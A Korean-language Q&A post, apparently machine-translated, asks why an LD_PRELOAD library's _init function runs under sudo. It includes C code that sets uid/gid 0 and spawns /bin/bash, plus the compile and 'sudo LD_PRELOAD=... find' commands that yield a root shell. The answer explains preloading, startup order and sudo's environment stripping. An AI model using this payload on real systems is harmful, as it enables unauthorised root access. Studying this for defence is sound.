그래서 나는 동적 라이너(dl)의 사전 로드 기능과 그것이 링크되는 다른 모든 공유 라이브러리에 대해 링크하기 전에 LD_PRELOAD 환경 변수를 사용하여 사용자 지정 공유 라이브러리(.so)를 로드하는 데 사용할 수 있는 방법에 대해 읽었습니다. 실행 파일이 로드됩니다. 나는 권한 상승의 맥락에서 그것을 읽었습니다. 애플리케이션이 로드하려는 내용을 제어할 수 없는 이유가 무엇인지 궁금합니다.
다음 코드를 생성하고 컴파일했습니다.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
그런 다음 실행하면 sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
루트 쉘이 생성됩니다. 표시된 대로 실행할 수 있다는 것을 알고 있지만 find
가짜 sudo
공유 라이브러리에서 필요하지 않은 함수가 호출되는 이유를 이해할 수 없습니다 find
. 아니면 링커가 애플리케이션에 필요한지 확인하지 않고 환경 변수에 지정된 라이브러리만 로드합니까?
누군가가 내 혼란을 해결하기 위해 대답할 수 있다면 좋을 것입니다.
감사합니다!
답변1
링커는 애플리케이션에 필요한지 확인하지 않고 환경 변수에 지정된 라이브러리를 로드하기만 합니까?
예, 그게 요점입니다 LD_PRELOAD
. 거기에 나열된 라이브러리는 프로그램 전에 로드됩니다. LD_PRELOAD
프로그램의 동작을 변경하는 방법입니다.
find에 함수가 필요하지 않은데 가짜 공유 라이브러리의 함수가 호출되는 이유는 무엇입니까?
_init
프로그램 시작 초기에 실행하십시오. 동적 로더가 이를 호출합니다. find의 소스 코드에서는 명시적으로 호출되지 않습니다. 예시 보기main() 이전에 발생하는 일에 대한 일반적인 개요또는Linux x86 프로그램 시작또는Linux에서 main()이 실행되는 방법.
호출되지 않을 함수의 정의를 미리 로드하는 경우 정의는 중요하지 않습니다.
애플리케이션이 로드하려는 내용을 제어할 수 없는 이유가 무엇인지 궁금합니다.
일반적으로 사용자는 원하는 것은 무엇이든 실행할 수 있습니다. 사용자가 실행하는 모든 코드는 해당 사용자의 권한으로 실행됩니다. 제어는 권한이 상승된 경우에만 필요합니다.
Sudo는 높은 권한을 허용합니다. 따라서 일반적으로 sudo 규칙을 구성할 때 관리자가 수행하고 싶지 않은 작업을 사용자가 수행할 수 있도록 하는 기능을 비활성화합니다. 특히 sudo는 대부분의 환경 변수, 특히 LD_LIBRARY_PATH
sudo 및 LD_PRELOAD
. 취약한 sudo 구성이 포함된 시스템을 사용하고 있습니다. 이는 데모용입니다.